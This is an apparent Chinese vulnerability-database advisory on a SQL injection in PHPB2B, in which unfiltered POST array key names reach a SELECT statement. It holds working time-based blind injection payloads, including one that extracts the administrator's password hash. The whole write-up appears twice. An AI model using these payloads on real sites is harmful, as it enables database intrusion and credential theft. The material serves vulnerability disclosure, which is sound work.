|PHPB2B某处sql注入#2 - VULHUB开源网络安全威胁库

PHPB2B某处sql注入#2

- AV AC AU C I A

发布： 2025-04-13

修订： 2025-04-13

### 简要描述： PHPB2B某处sql注入#2 ### 详细说明： PHPB2B某处sql注入官网下载的最新版本绕过全局防注入。我们先看看全局防注入怎么写的。以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于，对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 librabies/core/controllers/friendlink_controller.php 18-29行 ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); ``` 传入参数friendlink并传入save函数中。跟入save函数只看关键行 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的？ ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组，然后用,分割成字符串。而键名是不在全局sql注入过滤中的，于是产生了注入。我们知道php是可以传递数组的，包括二维数组。于是很轻易的在此处构造出一个sql注入。演示如下。先访问 localhost/phpb2b/?do=friendlink 查看源代码。获取csrf的formhash 得到当前formhash=95a43736362e5dd0 访问 localhost/phpb2b/?do=friendlink&action=add post提交 ``` formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1 ``` 为了演示方便，我把sql语句打印出来了。 [<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png) 1=1成功延时 ``` SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1' ``` 1=2不延时借此可以用来做一个延时注入。比如要猜测管理员的MD5 ``` status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)# ``` 延时成功，MD5密码的第一位ascii大于40 以此类推，可以猜解出管理员md5. ### 漏洞证明： PHPB2B某处sql注入官网下载的最新版本绕过全局防注入。我们先看看全局防注入怎么写的。以下是全局防注入用到的函数 ``` function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){ if(is_array($StrFiltValue)) { $StrFiltValue=@implode(",", $StrFiltValue); } if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ echo $StrFiltValue; header_sent("Warning : Illegal operation!"); exit(); } } function pb_hack_check(){ $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $_PG=array_merge($_GET,$_POST); foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } } ``` 其核心在于，对post和get传递过来的参数值进行了一次过滤 ``` foreach($_PG as $key=>$value){ pb_attack_filter($key,$value,$getfilter); pb_attack_filter($key,$value,$postfilter); } ``` 但是还是有不足的地方。 librabies/core/controllers/friendlink_controller.php 18-29行 ``` function add() { global $smarty; using( "message"); $pms = new Messages(); if (isset($_POST['do']) && !empty($_POST['friendlink'])) { pb_submit_check('friendlink'); $data = $_POST['friendlink']; $result = false; $data['status'] = 0; $data['created'] = $data['modified'] = $this->friendlink->timestamp; $result = $this->friendlink->save($data); ``` 传入参数friendlink并传入save函数中。跟入save函数只看关键行 ``` function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false) { $new_id = $result = false; $keys = array_keys($posts); $cols = implode($keys,","); $tbname = (is_null($tbname))? $this->getTable():trim($tbname); $this->table_name = $tbname; //Todo:2010.04.14, by steven if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; }elseif(!empty($posts[$this->primaryKey])){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'"; }else{ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'"; } ``` $id默认为空所以最后拼接成的sql为 ``` $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'"; ``` $cols是怎么来的？ ``` $keys = array_keys($posts); $cols = implode($keys,","); ``` 原来是取出了post传递过来的参数的键名数组，然后用,分割成字符串。而键名是不在全局sql注入过滤中的，于是产生了注入。我们知道php是可以传递数组的，包括二维数组。于是很轻易的在此处构造出一个sql注入。演示如下。先访问 localhost/phpb2b/?do=friendlink 查看源代码。获取csrf的formhash 得到当前formhash=95a43736362e5dd0 访问 localhost/phpb2b/?do=friendlink&action=add post提交 ``` formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1 ``` 为了演示方便，我把sql语句打印出来了。 [<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png) 1=1成功延时 ``` SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1' ``` 1=2不延时借此可以用来做一个延时注入。比如要猜测管理员的MD5 ``` status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)# ``` 延时成功，MD5密码的第一位ascii大于40 以此类推，可以猜解出管理员md5.

漏洞利用/PoC

暂无可用Exp或PoC

受影响的平台与产品

当前有0条受影响产品信息

您还没有登录，登录后可查看更多

添加资源
收藏资源
问题反馈

贡献用户

暂无贡献用户

VULHUB ™